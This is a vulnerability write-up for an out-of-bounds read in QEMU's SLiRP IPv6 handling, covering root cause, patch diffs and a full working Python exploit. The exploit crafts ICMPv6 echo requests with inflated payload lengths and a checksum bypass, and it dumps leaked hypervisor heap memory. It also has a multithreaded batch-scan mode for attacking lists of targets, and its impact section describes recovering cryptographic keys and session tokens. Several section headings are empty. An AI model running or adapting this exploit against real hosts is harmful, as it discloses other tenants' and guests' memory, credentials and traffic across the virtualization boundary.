#Summary

CVE-2021-20295 is an out-of-bounds read in QEMU's SLiRP user-mode networking backend affecting versions 2.6.0 through 5.0.x (fixed in 5.1.0). The vulnerability exists because SLiRP trusts the guest-supplied IPv6 payload-length field as authoritative without comparing it against the actual number of bytes received. An attacker with the ability to transmit raw ethernet frames on a SLiRP-backed network interface can craft a malicious ICMPv6 echo request that causes the target to copy up to 1.5 KB of hypervisor process heap memory and return it verbatim as the echo reply body. The vulnerability is assigned CVSS 6.5 MEDIUM (C:H/I:N/A:N), with Scope Changed because the disclosure crosses the guest/hypervisor boundary.

#Affected versions

#Root cause analysis

#Vulnerable code path

The bug lives in SLiRP's ICMPv6 echo reply handler. When the guest sends an ICMPv6 echo request, icmp6_send_echoreply() builds the reply by copying data from the receive buffer:

static void icmp6_send_echoreply(struct mbuf *m, Slirp *slirp, struct ip6 *ip,
                                 struct icmp6 *icmp)
{
    struct mbuf *t = m_get(slirp);
    t->m_len = sizeof(struct ip6) + ntohs(ip->ip_pl);   /* attacker controlled */
    memcpy(t->m_data, m->m_data, t->m_len);             /* reads past m */
    ...
}

The ip->ip_pl field (IPv6 payload length) comes directly from the network packet. Nothing constrains this value against m->m_len, the actual number of bytes in the receive buffer.

#How input reaches the sink

  1. The guest constructs an IPv6 frame with ethertype 0x86dd and next-header 58 (ICMPv6)
  2. The frame declares a payload length in the IPv6 header - for example, 1400 bytes
  3. The actual frame carries only 70 bytes (14 ethernet + 40 IPv6 + 16 ICMPv6)
  4. slirp_input() receives the frame and stores it in a fixed-size mbuf (1500 byte buffer)
  5. ip6_input() processes the header and validates the payload length against the MTU:
if (ntohs(ip6->ip_pl) > IF_MTU) {         /* caps ip_pl at 1500 */
    icmp6_send_error(m, ICMP6_TOOBIG, 0);
    goto bad;
}

This check fails to account for the 40-byte IPv6 header that gets copied along with the payload, and fails to compare against the actual received bytes (m->m_len).

  1. Later, in icmp6_send_echoreply(), the code calculates sizeof(struct ip6) + ntohs(ip->ip_pl) = 40 + 1400 = 1440 bytes and passes that to memcpy(), reading 1440 bytes out of a 70-byte receive buffer
  2. The surplus 1370 bytes come from whatever follows the buffer in the hypervisor heap, and are returned to the guest as the echo reply

#Checksum bypass

The reason this is practical is that the checksum validation does not stop the attack. SLiRP's cksum() function clamps the requested length at the real buffer size:

mlen = m->m_len;
if (len < mlen)
    mlen = len;

This means the checksum is computed over only the bytes actually received, while the pseudo-header's length field carries the inflated value. The attacker computes the checksum identically on their side - over the real bytes with the inflated length in the pseudo-header - so the packet is accepted.

#Patch diff

The fix consists of two commits to src/ip6_input.c:

#Commit c7ede54c - "Drop bogus IPv6 messages"

Adds a length invariant check that the received frame must be at least as long as it claims to be:

+    // Check if the message size is big enough to hold what's
+    // set in the payload length header. If not this is an invalid packet
+    if (m->m_len < ntohs(ip6->ip_pl) + sizeof(struct ip6)) {
+        goto bad;
+    }

This is the core fix. It prevents icmp6_send_echoreply() from ever reading past the received data.

#Commit f1941d6d - "Fix MTU check"

Accounts for the IPv6 header in the MTU validation:

-    if (ntohs(ip6->ip_pl) > slirp->if_mtu) {
+    if (ntohs(ip6->ip_pl) + sizeof(struct ip6) > slirp->if_mtu) {
         icmp6_send_error(m, ICMP6_TOOBIG, 0);

This closes a residual 40-byte overrun window where a frame could pass both checks and still overflow its destination buffer.

#Proof of concept

#exploit.py - QEMU SLiRP IPv6 Heap Disclosure PoC

#!/usr/bin/env python3
"""
CVE-2021-20295 - SLiRP ICMPv6 echo reply out-of-bounds read (host memory disclosure)
Affected: QEMU / qemu-kvm 2.6.0 through 5.0.x (libslirp <= 4.3.0), including the
          RHEL 8.3 virt:rhel qemu-kvm 4.2.0 build in which the CVE-2020-10756 fix
          was dropped. Fixed in QEMU 5.1.0 / libslirp 4.3.1.
Type: Out-of-bounds read - information disclosure (CWE-125)

The SLiRP user-mode network backend trusts the guest-supplied IPv6 payload-length
field as the true size of a received packet. icmp6_send_echoreply() copies
40 + ip_pl bytes out of the receive mbuf without ever comparing that against how
many bytes actually arrived, and hands the result back to the guest as the body of
the echo reply. A short frame that declares a large payload length therefore
returns up to ~1.4 KB of the hypervisor process heap per request, and a declared
length above 1460 reads past the end of the allocation itself.

The attacker position is code inside the guest that can transmit raw ethernet
frames on a SLiRP-backed NIC. Two transports are supported:

  --iface  send from inside the guest over a raw AF_PACKET socket (Linux, root).
           This is the real attack position.
  --host   send to a QEMU `socket` netdev endpoint, which carries raw ethernet
           frames over TCP with a 4-byte big-endian length prefix in both
           directions. Any host exposing such a netdev is exploitable remotely.

Usage:
  python exploit.py --host <target> --port 1234
  python exploit.py --host 192.168.1.10 --port 1234 --samples 8 --out leak.bin
  python exploit.py --host 192.168.1.10 --oob            # read past the allocation
  python exploit.py --iface eth0                          # from inside the guest
  python exploit.py --list targets.txt --workers 20

Extra arguments beyond the standard set (all have working defaults):
  --leak-length N   IPv6 payload length to declare (4-1500, default 1400).
                    Bytes leaked per request = N - 16.
  --oob             Declare 1500 instead, so the copy runs off the end of the
                    mbuf allocation. On a sanitizer build this also produces a
                    heap-buffer-overflow report on the target.
  --samples N       Number of echo requests to send (default 3). The read is
                    idempotent, so repeated sampling walks the heap over time.
  --prime           Demonstration aid, off by default. Sends a few honest,
                    correctly-formed echo requests carrying a recognisable tag
                    before the attack, so the disclosed bytes can be shown to
                    come from traffic the target handled earlier rather than
                    from the request that returned them. Leave it off in a real
                    engagement: it overwrites the recycled buffers with our own
                    data and destroys whatever the target had there.
  --out FILE        Write the raw leaked bytes to FILE.
  --src-ip6 / --dst-ip6 / --router-mac
                    Override the SLiRP addressing if the target does not use the
                    default fec0::/64 prefix.
"""

import argparse
import binascii
import os
import re
import socket
import struct
import sys
from urllib.parse import urlparse

CVE_ID    = "CVE-2021-20295"
VULN_TYPE = "OOB read / info disclosure"

# SLiRP defaults. Overridable from the command line for non-default setups.
DEF_SRC_IP6    = "fec0::1234"
DEF_DST_IP6    = "fec0::2"
DEF_ROUTER_MAC = "52:55:0a:00:02:02"

ETH_P_IPV6   = 0x86DD
NH_ICMPV6    = 58
NH_UDP       = 17
ICMP6_TOOBIG = 2
ICMP6_ECHO_REQUEST = 128
ICMP6_ECHO_REPLY   = 129
ICMP6_NS     = 135
ICMP6_NA     = 136

ETH_HLEN  = 14
IP6_HLEN  = 40
ICMP6_MIN = 8            # type, code, checksum, id, sequence
REQ_ICMP6_LEN = 16       # what we actually put on the wire: 8 header + 8 marker
IF_MTU    = 1500


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------- packet build

def _ones_complement(data: bytes) -> int:
    if len(data) % 2:
        data += b"\x00"
    total = 0
    for i in range(0, len(data), 2):
        total += (data[i] << 8) | data[i + 1]
    while total >> 16:
        total = (total & 0xFFFF) + (total >> 16)
    return (~total) & 0xFFFF


def _icmp6_cksum(src: bytes, dst: bytes, payload: bytes, declared_len: int,
                 next_header: int = NH_ICMPV6) -> int:
    """Checksum over the IPv6 pseudo-header plus only the bytes actually sent.

    The pseudo-header's upper-layer length field carries the *declared* length,
    while the summed data is just what is on the wire. That mismatch is exactly
    what the target computes too: its cksum() clamps the requested length at the
    real receive-buffer size, so an inflated payload length still yields a
    checksum the target accepts. No guessing and no brute force is involved.
    """
    pseudo = src + dst + struct.pack("!IBBBB", declared_len, 0, 0, 0, next_header)
    return _ones_complement(pseudo + payload)


class Packets(object):
    """Frame factory bound to one set of addresses."""

    def __init__(self, src_mac: bytes, dst_mac: bytes, src_ip6: str, dst_ip6: str):
        self.src_mac = src_mac
        self.dst_mac = dst_mac
        self.src = socket.inet_pton(socket.AF_INET6, src_ip6)
        self.dst = socket.inet_pton(socket.AF_INET6, dst_ip6)

    def _frame(self, payload_len: int, hop_limit: int, upper: bytes,
               next_header: int = NH_ICMPV6, dst: bytes = None) -> bytes:
        eth = self.dst_mac + self.src_mac + struct.pack("!H", ETH_P_IPV6)
        ip6 = struct.pack("!IHBB", 6 << 28, payload_len, next_header, hop_limit)
        ip6 += self.src + (dst if dst is not None else self.dst)
        return eth + ip6 + upper

    def neighbor_solicitation(self) -> bytes:
        """Register our MAC in the target's NDP table.

        Not part of the bug, but mandatory: until the target can resolve our
        address to a MAC it builds the reply, performs the out-of-bounds read and
        then drops the frame, so a vulnerable target looks dead.
        """
        body = b"\x00" * 4 + self.dst              # reserved + target address
        icmp6 = struct.pack("!BBH", ICMP6_NS, 0, 0) + body
        csum = _icmp6_cksum(self.src, self.dst, icmp6, len(icmp6))
        icmp6 = struct.pack("!BBH", ICMP6_NS, 0, csum) + body
        return self._frame(len(icmp6), 255, icmp6)  # hop limit must be exactly 255

    def echo_request(self, declared_len: int, marker: bytes, seq: int = 1,
                     ident: int = 0x1234) -> bytes:
        """The malicious echo request.

        Everything is well-formed except the IPv6 payload-length field, which
        claims `declared_len` bytes while the frame carries only 16 bytes of
        ICMPv6. The gap is what the target copies out of memory it never
        received and returns to us.
        """
        body = struct.pack("!HH", ident, seq) + marker
        icmp6 = struct.pack("!BBH", ICMP6_ECHO_REQUEST, 0, 0) + body
        csum = _icmp6_cksum(self.src, self.dst, icmp6, declared_len)
        icmp6 = struct.pack("!BBH", ICMP6_ECHO_REQUEST, 0, csum) + body
        return self._frame(declared_len, 64, icmp6)

    def honest_echo(self, tag: bytes, size: int = 1200) -> bytes:
        """A completely legitimate echo request: the declared payload length is
        the truth. Used only by --prime, to put recognisable bytes through the
        target's receive buffers before the attack."""
        filler = (tag * (size // len(tag) + 1))[:size - 12]
        body = struct.pack("!HH", 0x4321, 1) + filler
        icmp6 = struct.pack("!BBH", ICMP6_ECHO_REQUEST, 0, 0) + body
        csum = _icmp6_cksum(self.src, self.dst, icmp6, len(icmp6))
        icmp6 = struct.pack("!BBH", ICMP6_ECHO_REQUEST, 0, csum) + body
        return self._frame(len(icmp6), 64, icmp6)


def parse_frame(f: bytes):
    """Return (icmp6_type, declared_payload_len) or (None, None)."""
    if len(f) < ETH_HLEN + IP6_HLEN + 1 or f[12:14] != b"\x86\xdd":
        return None, None
    if f[ETH_HLEN + 6] != NH_ICMPV6:
        return None, None
    return f[ETH_HLEN + IP6_HLEN], struct.unpack("!H", f[ETH_HLEN + 4:ETH_HLEN + 6])[0]


def hexdump(data: bytes, limit: int = 256, base: int = 0) -> str:
    out = []
    view = data[:limit]
    for off in range(0, len(view), 16):
        chunk = view[off:off + 16]
        hexpart = " ".join("%02x" % b for b in chunk)
        txt = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
        out.append("%08x  %-47s  |%s|" % (base + off, hexpart, txt))
    if len(data) > limit:
        out.append("... %d more bytes" % (len(data) - limit))
    return "\n".join(out)


def _fill_fraction(data: bytes) -> float:
    """Share of bytes that are plain allocator fill (0x00, or 0xbe on a
    sanitizer build) and therefore carry nothing."""
    if not data:
        return 0.0
    fill = sum(1 for b in data if b in (0x00, 0xBE))
    return float(fill) / len(data)


def _tag_fraction(data: bytes, tag: bytes) -> float:
    """Share of bytes belonging to the tagged packets sent before the attack."""
    if not data or not tag:
        return 0.0
    hits = 0
    start = 0
    while True:
        i = data.find(tag, start)
        if i < 0:
            break
        hits += len(tag)
        start = i + len(tag)
    return min(1.0, float(hits) / len(data))


def ascii_strings(data: bytes, minlen: int = 4, limit: int = 12, width: int = 96):
    out = []
    for s in re.findall(b"[ -~]{%d,}" % minlen, data)[:limit]:
        text = s.decode("ascii", "replace")
        out.append(text if len(text) <= width
                   else "%s ... (%d chars)" % (text[:width], len(text)))
    return out


# ------------------------------------------------------------------ transports

class SocketNetdev(object):
    """Raw ethernet frames over TCP, 4-byte big-endian length prefix each way.

    This is the wire format a QEMU `socket` netdev speaks. Anything written here
    reaches the emulated network exactly as if a guest NIC had transmitted it.
    """

    label = "socket netdev"

    def __init__(self, host: str, port: int, timeout: float = 5.0):
        self.src_mac = _random_mac()
        self.sock = socket.create_connection((host, port), timeout=timeout)
        self.sock.settimeout(timeout)

    def send(self, frame: bytes) -> None:
        self.sock.sendall(struct.pack("!I", len(frame)) + frame)

    def _read_exact(self, n: int):
        buf = b""
        while len(buf) < n:
            chunk = self.sock.recv(n - len(buf))
            if not chunk:
                return None
            buf += chunk
        return buf

    def recv(self):
        hdr = self._read_exact(4)
        if hdr is None:
            return None
        (n,) = struct.unpack("!I", hdr)
        if n == 0 or n > 65535:
            return None
        return self._read_exact(n)

    def close(self):
        try:
            self.sock.close()
        except OSError:
            pass


class RawIface(object):
    """AF_PACKET socket on a guest NIC - the real in-guest attack position."""

    label = "raw interface"

    def __init__(self, iface: str, timeout: float = 5.0):
        if not hasattr(socket, "AF_PACKET"):
            raise RuntimeError("--iface needs AF_PACKET (Linux only)")
        self.src_mac = _random_mac()
        self.sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW,
                                  socket.htons(0x0003))
        self.sock.bind((iface, 0))
        self.sock.settimeout(timeout)

    def send(self, frame: bytes) -> None:
        self.sock.send(frame)

    def recv(self):
        # Ignore our own transmissions and anything not addressed to us.
        while True:
            f = self.sock.recv(65535)
            if len(f) < ETH_HLEN:
                continue
            if f[6:12] == self.src_mac:
                continue
            if f[0:6] != self.src_mac and f[0] & 1 == 0:
                continue
            if f[12:14] != b"\x86\xdd":
                continue
            return f

    def close(self):
        try:
            self.sock.close()
        except OSError:
            pass


# --------------------------------------------------------------- exploit core

def _random_mac() -> bytes:
    # QEMU's own OUI, so the source looks like an ordinary guest NIC.
    return b"\x52\x54\x00" + os.urandom(3)


def _drain(transport, budget: int = 8):
    """Swallow unsolicited frames (router advertisements, DNS replies)."""
    got = []
    for _ in range(budget):
        try:
            f = transport.recv()
        except (socket.timeout, OSError):
            break
        if f is None:
            break
        got.append(f)
    return got


def _register(transport, pkt: Packets) -> bool:
    """NDP handshake. True once the target has answered a Neighbor Advertisement."""
    transport.send(pkt.neighbor_solicitation())
    for _ in range(6):
        try:
            reply = transport.recv()
        except (socket.timeout, OSError):
            return False
        if reply is None:
            return False
        t, _pl = parse_frame(reply)
        if t == ICMP6_NA:
            return True
    return False


def _prime(transport, pkt: Packets, tag: bytes, count: int = 3) -> int:
    """Push honest, tagged traffic through the target so the buffers the leak
    later reads demonstrably contain data from an earlier packet."""
    sent = 0
    for _ in range(count):
        try:
            transport.send(pkt.honest_echo(tag))
        except OSError:
            break
        sent += 1
        try:
            transport.recv()          # its legitimate reply, same size as the request
        except (socket.timeout, OSError):
            pass
    return sent


def _leak_once(transport, pkt: Packets, declared_len: int, marker: bytes, seq: int):
    """Send one malicious echo request, return (status, leaked_bytes, reply_len).

    status is one of: leak, no_leak, too_big, dropped, error.
    """
    request = pkt.echo_request(declared_len, marker, seq=seq)
    transport.send(request)
    for _ in range(6):
        try:
            reply = transport.recv()
        except (socket.timeout, OSError):
            return "dropped", b"", 0
        if reply is None:
            return "dropped", b"", 0
        t, _pl = parse_frame(reply)
        if t == ICMP6_TOOBIG:
            return "too_big", b"", len(reply)
        if t != ICMP6_ECHO_REPLY:
            continue                      # some other unsolicited frame
        if len(reply) <= len(request):
            return "no_leak", b"", len(reply)
        body_off = ETH_HLEN + IP6_HLEN + REQ_ICMP6_LEN
        if reply[body_off - 8:body_off] != marker:
            return "no_leak", b"", len(reply)
        return "leak", reply[body_off:], len(reply)
    return "dropped", b"", 0


def _run(transport, declared_len: int, samples: int, prime: bool,
         src_ip6: str, dst_ip6: str, router_mac: bytes, verbose: bool):
    """Shared engine. Returns a result dict; never exits."""
    src_mac = transport.src_mac
    pkt = Packets(src_mac, router_mac, src_ip6, dst_ip6)
    res = {"ok": False, "reason": "", "leaks": [], "reply_len": 0,
           "request_len": ETH_HLEN + IP6_HLEN + REQ_ICMP6_LEN,
           "declared": declared_len, "status": "", "tag": b""}

    if verbose:
        step(1, "Registering %s in the target's NDP table (Neighbor Solicitation "
                "to %s, hop limit 255)" % (":".join("%02x" % b for b in src_mac), dst_ip6))
    if not _register(transport, pkt):
        res["reason"] = "no neighbor advertisement - target not reachable on the emulated network"
        res["status"] = "unreachable"
        return res
    if verbose:
        print("        Neighbor Advertisement received - the target will now deliver to us")

    if prime:
        res["tag"] = b"residue-" + binascii.hexlify(os.urandom(3)) + b"-"
        n = _prime(transport, pkt, res["tag"])
        if verbose:
            step(2, "Sent %d honest echo requests tagged %s, so the disclosed bytes "
                    "can be traced to traffic handled before the attack"
                 % (n, res["tag"].decode()))

    marker = os.urandom(8)
    if verbose:
        step(3, "Sending %d byte echo request declaring an IPv6 payload length of %d "
                "(%d ICMPv6 bytes actually on the wire)"
             % (res["request_len"], declared_len, REQ_ICMP6_LEN))

    statuses = []
    for i in range(samples):
        status, leaked, reply_len = _leak_once(transport, pkt, declared_len, marker, seq=i + 1)
        statuses.append(status)
        if status == "leak":
            res["leaks"].append(leaked)
            res["reply_len"] = reply_len
        elif status in ("too_big", "no_leak"):
            res["reply_len"] = reply_len
        if verbose:
            print("        request %d/%d -> %s%s"
                  % (i + 1, samples, status,
                     (" (%d byte reply, %d bytes we never sent)" % (reply_len, len(leaked)))
                     if status == "leak" else
                     (" (%d byte reply)" % reply_len if reply_len else "")))

    res["status"] = statuses[0] if statuses else "error"
    if res["leaks"]:
        res["ok"] = True
        total = sum(len(x) for x in res["leaks"])
        res["reason"] = ("%d bytes of target process memory disclosed over %d request(s)"
                         % (total, len(res["leaks"])))
    elif "too_big" in statuses:
        res["reason"] = ("ICMPv6 Packet Too Big - declared length %d rejected by the MTU "
                         "check (patched builds reject above 1460)" % declared_len)
    elif "no_leak" in statuses:
        res["reason"] = "echo reply returned only the bytes we sent - payload length not trusted"
    else:
        res["reason"] = "no reply - short frame dropped by the payload-length check (patched)"
    return res


# ------------------------------------------------------------------ scan mode

def _try_exploit(host: str, port: int, use_tls: bool = False, **kwargs):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints."""
    transport = None
    try:
        transport = SocketNetdev(host, port, timeout=kwargs.get("timeout", 5.0))
        res = _run(transport,
                   declared_len=kwargs.get("declared_len", 1400),
                   samples=1,
                   prime=False,
                   src_ip6=kwargs.get("src_ip6", DEF_SRC_IP6),
                   dst_ip6=kwargs.get("dst_ip6", DEF_DST_IP6),
                   router_mac=kwargs.get("router_mac", _mac_bytes(DEF_ROUTER_MAC)),
                   verbose=False)
        if res["ok"]:
            return True, ("%d byte reply to a %d byte request - %s"
                          % (res["reply_len"], res["request_len"], res["reason"]))
        return False, res["reason"]
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__
    finally:
        if transport is not None:
            transport.close()


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line and not line.count(":") > 1:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = "%s:%d" % (host, port)
        ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------- single target

def _mac_bytes(text: str) -> bytes:
    return binascii.unhexlify(text.replace(":", "").replace("-", ""))


def _report(res: dict, out_path: str) -> None:
    """Print the evidence and finish. Shared by both transports."""
    if not res["ok"]:
        if res["status"] == "unreachable":
            section("TARGET STATE", res["reason"])
        else:
            section("TARGET RESPONSE",
                    "declared payload length %d, reply %s\n%s"
                    % (res["declared"],
                       ("%d bytes" % res["reply_len"]) if res["reply_len"] else "none",
                       res["reason"]))
        done(False, res["reason"])

    leaked = b"".join(res["leaks"])
    step(4, "Reply is %d bytes to a %d byte request - the surplus was never sent by us"
         % (res["reply_len"], res["request_len"]))

    section("DISCLOSED MEMORY (first 256 of %d bytes, offset 0 = first byte past our payload)"
            % len(leaked), hexdump(leaked))

    strings = ascii_strings(leaked)
    if strings:
        section("RECOGNISABLE DATA IN THE DISCLOSED MEMORY",
                "\n".join("  %s" % s for s in strings))

    fill = _fill_fraction(leaked)
    tag_bytes = _tag_fraction(leaked, res["tag"]) if res["tag"] else None
    detail = ("untouched allocator fill : %.1f%%\n" % (100.0 * fill))
    if tag_bytes is not None:
        detail += ("residue of earlier traffic: %.1f%% (payload of the tagged packets sent "
                   "before the attack,\n"
                   "                            none of which was present in the request "
                   "that returned them)\n" % (100.0 * tag_bytes))
    detail += "other process memory     : %.1f%%" % (
        100.0 * max(0.0, 1.0 - fill - (tag_bytes or 0.0)))
    section("WHAT THE DISCLOSED BYTES ARE", detail)

    nonfill = len(set(leaked))
    section("LEAK SUMMARY",
            "requests sent      : %d\n"
            "declared ip_pl     : %d\n"
            "bytes per reply    : %d\n"
            "total disclosed    : %d\n"
            "distinct byte vals : %d (allocator fill alone would be 1)\n"
            "past allocation end: %s"
            % (len(res["leaks"]), res["declared"], len(res["leaks"][0]), len(leaked),
               nonfill,
               "yes - copy of %d bytes exceeds the %d byte receive buffer"
               % (IP6_HLEN + res["declared"], IF_MTU)
               if res["declared"] > IF_MTU - IP6_HLEN - 20 else "no - read stays inside the buffer"))

    if out_path:
        with open(out_path, "wb") as fh:
            fh.write(leaked)
        print("[*] Raw leaked bytes written to %s" % out_path)

    done(True, "%s (declared payload length %d, %d byte reply to a %d byte request)"
         % (res["reason"], res["declared"], res["reply_len"], res["request_len"]))


def exploit(host: str, port: int, use_tls: bool, args) -> None:
    header(host, port)
    transport = None
    try:
        transport = SocketNetdev(host, port, timeout=args.timeout)
    except OSError as e:
        section("CONNECTION", "%s: %s" % (e.__class__.__name__, e))
        done(False, "could not connect to %s:%d" % (host, port))
    try:
        res = _run(transport, args.declared_len, args.samples, args.prime,
                   args.src_ip6, args.dst_ip6,
                   _mac_bytes(args.router_mac), verbose=True)
    finally:
        transport.close()
    _report(res, args.out)


def exploit_iface(iface: str, args) -> None:
    header(iface, 0)
    try:
        transport = RawIface(iface, timeout=args.timeout)
    except (OSError, RuntimeError) as e:
        section("INTERFACE", "%s: %s" % (e.__class__.__name__, e))
        done(False, "could not open a raw socket on %s (root required)" % iface)
    try:
        res = _run(transport, args.declared_len, args.samples, args.prime,
                   args.src_ip6, args.dst_ip6,
                   _mac_bytes(args.router_mac), verbose=True)
    finally:
        transport.close()
    _report(res, args.out)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target host, IP or URL exposing a QEMU socket netdev")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    target_grp.add_argument("--iface", help="Guest NIC to attack from inside the guest (Linux, root)")
    parser.add_argument("--port", type=int, default=1234, help="Default port (default: 1234)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    parser.add_argument("--leak-length", dest="declared_len", type=int, default=1400,
                        metavar="N", help="IPv6 payload length to declare, 4-1500 (default: 1400)")
    parser.add_argument("--oob", action="store_true",
                        help="Declare 1500 so the read runs past the end of the allocation")
    parser.add_argument("--samples", type=int, default=3,
                        help="Echo requests to send (default: 3)")
    parser.add_argument("--out", metavar="FILE", help="Write the raw disclosed bytes to FILE")
    parser.add_argument("--timeout", type=float, default=5.0, help="Socket timeout (default: 5s)")
    parser.add_argument("--src-ip6", default=DEF_SRC_IP6, help="Source address (default: %s)" % DEF_SRC_IP6)
    parser.add_argument("--dst-ip6", default=DEF_DST_IP6, help="Target router address (default: %s)" % DEF_DST_IP6)
    parser.add_argument("--router-mac", default=DEF_ROUTER_MAC, help="Router MAC (default: %s)" % DEF_ROUTER_MAC)
    parser.add_argument("--prime", action="store_true",
                        help="Send tagged honest traffic first, so the disclosed bytes can be "
                             "traced to an earlier packet (demonstration aid; off by default "
                             "because it overwrites the target's own data)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true",
                         help="Accepted for interface consistency; this transport is raw framing")
    tls_grp.add_argument("--no-tls", action="store_true", help="Accepted for interface consistency")
    args = parser.parse_args()

    if args.oob:
        args.declared_len = 1500
    if not 4 <= args.declared_len <= 1500:
        parser.error("--leak-length must be between 4 and 1500")
    if args.samples < 1:
        parser.error("--samples must be at least 1")

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             declared_len=args.declared_len, timeout=args.timeout,
             src_ip6=args.src_ip6, dst_ip6=args.dst_ip6,
             router_mac=_mac_bytes(args.router_mac))
    elif args.iface:
        exploit_iface(args.iface, args)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        exploit(host, port, use_tls, args)

#Usage

python exploit.py --host 127.0.0.1 --port 1234
python exploit.py --host 127.0.0.1 --port 1234 --samples 3
python exploit.py --host 127.0.0.1 --port 1234 --oob
python exploit.py --iface eth0 --samples 20 --out leak.bin
python exploit.py --list targets.txt --workers 20

Supported arguments:

Argument Default Meaning
--host - Target hostname, IP or URL exposing a QEMU socket netdev
--iface - NIC to attack from, using a raw AF_PACKET socket (Linux, root). Real in-guest attack position
--list FILE - One target per line for batch scanning
--port 1234 Default port
--workers 10 Threads in --list mode
--leak-length N 1400 IPv6 payload length to declare (4-1500). Bytes disclosed per request = N - 16. Values 1461-1500 read past allocation end
--oob off Shorthand for --leak-length 1500
--samples N 3 Number of echo requests to send. Read is idempotent for heap walking
--out FILE - Write raw disclosed bytes to file
--prime off Send tagged honest traffic first (demo aid; overwrites target data)
--timeout 5.0 Socket timeout in seconds

Exit status is 0 on successful disclosure, 1 otherwise.

#Exploitation notes

#Vulnerable target output

Sending a 70-byte ICMPv6 echo request declaring an IPv6 payload length of 1400 produces a 1454-byte reply - the surplus 1384 bytes are hypervisor heap contents never sent by the attacker:

[STEP 1] Registering 52:54:00:fc:80:71 in the target's NDP table
        Neighbor Advertisement received - the target will now deliver to us
[STEP 3] Sending 70 byte echo request declaring an IPv6 payload length of 1400
        request 1/3 -> leak (1454 byte reply, 1384 bytes we never sent)
        request 2/3 -> leak (1454 byte reply, 1384 bytes we never sent)
        request 3/3 -> leak (1454 byte reply, 1384 bytes we never sent)

  RESULT  : SUCCESS
  EVIDENCE: 4152 bytes of target process memory disclosed over 3 request(s)

With the --oob flag (payload length 1500), the copy runs 40 bytes past the allocation end and AddressSanitizer reports:

==1==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1540 at 0x...
    #0 __interceptor_memcpy
    #1 icmp6_send_echoreply slirp/src/ip6_icmp.c:52
    #2 icmp6_input slirp/src/ip6_icmp.c:408
0x... is located 0 bytes to the right of 1640-byte region
allocated by thread T0 here:
    #0 __interceptor_malloc
    #1 g_malloc
    #2 m_get slirp/src/mbuf.c:69

#Patched target output

Against the patched build, the same exploit fails:

#Attack preconditions

#Reliability

The exploit is deterministic on the first request. No brute force, no heap grooming, no timing windows. The checksum is fully computable because the target's checksum validation clamps at the real buffer length while accepting the inflated length in the pseudo-header.

#Impact

Up to 1.5 KB of hypervisor heap is disclosed per request, repeatable indefinitely. The leak crosses guest/hypervisor boundaries (Scope Changed) and includes other guest traffic passing through the same QEMU process. By sending several requests, an attacker can sample the heap over time and recover cryptographic keys, session tokens, or other sensitive data.

#Chaining potential

This is a read-only vulnerability. No write primitive exists on this path. The destination buffer has 8 bytes of slack and cannot overflow at any legal payload length. There is no function pointer or saved return address reachable. The primitive terminates at rung 3 of the CWE-125 ladder.

#References